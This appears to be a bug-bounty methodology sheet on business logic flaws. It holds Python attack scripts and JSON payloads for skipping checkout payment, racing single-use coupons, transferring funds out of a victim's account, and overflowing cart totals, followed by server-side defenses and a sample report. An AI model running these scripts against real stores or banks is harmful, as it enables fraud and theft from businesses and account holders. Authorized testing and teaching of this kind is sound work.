Business logic bypass

Business Logic Flaws & Bypasses

When to Use

• When testing critical business functions (Checkout carts, Fund transfers, Password resets, Subscription tiers).
• During deep manual penetration tests and Bug Bounty programs (logic bugs yield very high bounties and cannot be found by automated scanners).
• When standard input validation tools (SQLmap, XSS payloads) yield no results.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Application Mapping & Rule Identification

# 1. Map the 'Happy Path'
# Use the application exactly as intended. Buy an item, apply a coupon, check out, track shipping.
# Intercept all traffic using Burp Suite and send it to the Proxy History.

# 2. Identify Business Rules (The Assumptions)
# What is the application assuming you will do?
# Examples:
# - A user will a coupon once.
# - A user will not put a negative quantity in the shopping cart.
# - A user must pay step 3 before jumping to step 4 (download).
# - A user will only transfer funds from an account they own.

Phase 2: Price and Parameter Tampering

# Focus: Tampering with invisible parameters or data types during transit.

# 1. Negative Values & Integer Overflow
# Send POST /cart/add
# {"item_id": 12, "quantity": -10}
# Try negative quantities to reduce the total cart price.
# Try MAX_INT (2147483647 + 1) to roll over prices to negative values.

# 2. Price Manipulation directly
# Send POST /checkout
# Does the client decide the price instead of the DB?
# {"item_id": 12, "price": 0.01}

# 3. Currency / Type Mismatch
# Send POST /transfer
# {"amount": "100.00USD", "to": "attacker"}
# What if you change currency? {"amount": "100.00JPY"}
# What if you pass an Array instead of a String? {"amount": [1000]}

Phase 3: Workflow Order Circumvention (Skipping Steps)

import requests

# Scenario: Skip payment step in checkout flow
# Step 1: /cart → Step 2: /shipping → Step 3: /payment → Step 4: /download
# Attack: Skip Steps 2+3, go directly to Step 4

SESSION = requests.Session()
BASE = "https://target.com"

# Step 1: Add item to cart (legitimate)
SESSION.post(f"{BASE}/api/cart/add", json={"item_id": 42, "quantity": 1})

# SKIP Step 2 (shipping) and Step 3 (payment) entirely
# Jump directly to download endpoint
resp = SESSION.post(f"{BASE}/api/download_digital_goods", json={"cart_id": "current"})
if resp.status_code == 200:
    print(f"[+] WORKFLOW BYPASS: Downloaded without payment! Response: {resp.text[:200]}")
else:
    print(f"[-] Blocked: {resp.status_code} — Server enforces step ordering")

Phase 4: Coupon & Discount Abuse (Race Conditions)

import requests
import concurrent.futures

# Race condition: Apply single-use coupon multiple times simultaneously
BASE = "https://target.com"
COUPON_CODE = "SAVE50"
AUTH_TOKEN = "Bearer YOUR_TOKEN"

def apply_coupon(attempt_num):
    resp = requests.post(
        f"{BASE}/api/cart/apply-coupon",
        json={"coupon": COUPON_CODE},
        headers={"Authorization": AUTH_TOKEN},
        timeout=5,
    )
    return f"Attempt {attempt_num}: {resp.status_code} — {resp.text[:100]}"

# Fire 30 concurrent requests to exploit TOCTOU window
with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:
    futures = [executor.submit(apply_coupon, i) for i in range(30)]
    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if "applied" in result.lower() or "200" in result:
            print(f"[+] {result}")
        else:
            print(f"[-] {result}")

Phase 5: Account/Trust Boundary Manipulation

import requests

BASE = "https://target.com/api/v1"

# Cross-object reference: Use attacker's auth but victim's resource IDs
ATTACKER_TOKEN = "Bearer ATTACKER_JWT"
VICTIM_ACCOUNT_ID = "ACC-7890"
ATTACKER_ACCOUNT_ID = "ACC-1234"

# Test 1: Transfer from victim's account using attacker's session
resp = requests.post(
    f"{BASE}/transfer",
    json={"from_account": VICTIM_ACCOUNT_ID, "to_account": ATTACKER_ACCOUNT_ID, "amount": 100.00},
    headers={"Authorization": ATTACKER_TOKEN},
)
print(f"Transfer test: {resp.status_code} — {resp.text[:200]}")
if resp.status_code == 200:
    print("[+] CRITICAL: Server does not verify account ownership on transfers!")

# Test 2: Access premium features with free account token
resp = requests.get(
    f"{BASE}/premium/dashboard",
    headers={"Authorization": ATTACKER_TOKEN},  # Free account token
    params={"user_ref": VICTIM_ACCOUNT_ID},      # Premium account reference
)
if resp.status_code == 200 and "premium" in resp.text.lower():
    print("[+] TRUST BOUNDARY BYPASS: Free account accessed premium features!")

🔵 Blue Team Detection & Defense

• Server-Side Truth: NEVER trust the client to dictate prices, quantities, payment status, or access levels. Calculate prices exclusively on the backend based on item IDs.
• Workflow State Machines: Ensure multi-step processes rely on strict strict server-side state machines. Step D cannot execute unless the DB confirms Step C completed successfully.
• Database Locks (Mutexes): Prevent Race Conditions (Time-of-Check to Time-of-Use flaws) by utilizing row-level database locks (e.g., SELECT ... FOR UPDATE) during crucial transactions like coupon application or fund transfers.
• Type Casting & Validation: Strictly type-cast input. Validate that quantities are whole numbers greater than zero.

Key Concepts

Concept	Description
Business Logic	The custom rules governing how a specific application operates, independent of standard technical code
Parameter Tampering	Changing hidden form fields, cookies, or API data strings in transit
TOCTOU	Time-of-Check to Time-of-Use; a race condition where data is modified between checking permission and executing the action
State Validation	Confirming a user has completed prerequisites before allowing subsequent actions

Output Format

Bug Bounty Submission Report
============================
Vulnerability: Critical Business Logic Flaw (Price Manipulation via Integer Overflow)
Target: https://shop.target.com/api/cart

Summary:
The shopping cart API suffers from a severe logic flaw involving integer overflows. By adding an item to the cart with a quantity exceeding the 32-bit signed integer capacity (e.g., 2,147,483,648), the calculated total price rolls over into a massive negative value.

Reproduction Steps:
1. Add any expensive item (e.g., a $1,000 Laptop) to the cart.
2. Intercept the request. Modify the quantity parameter: `{"itemId": "123", "quantity": 2147483648}`.
3. Observe the cart total displays `- $2,147,483.00`.
4. Add another expensive item to bring the total slightly above $0 to satisfy payment gateway validation.
5. Successfully check out acquiring thousands of dollars of equipment for $1.00.

Impact: Total compromise of store revenue model and massive potential financial loss.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: Business Logic Vulnerabilities
• OWASP: Testing for Business Logic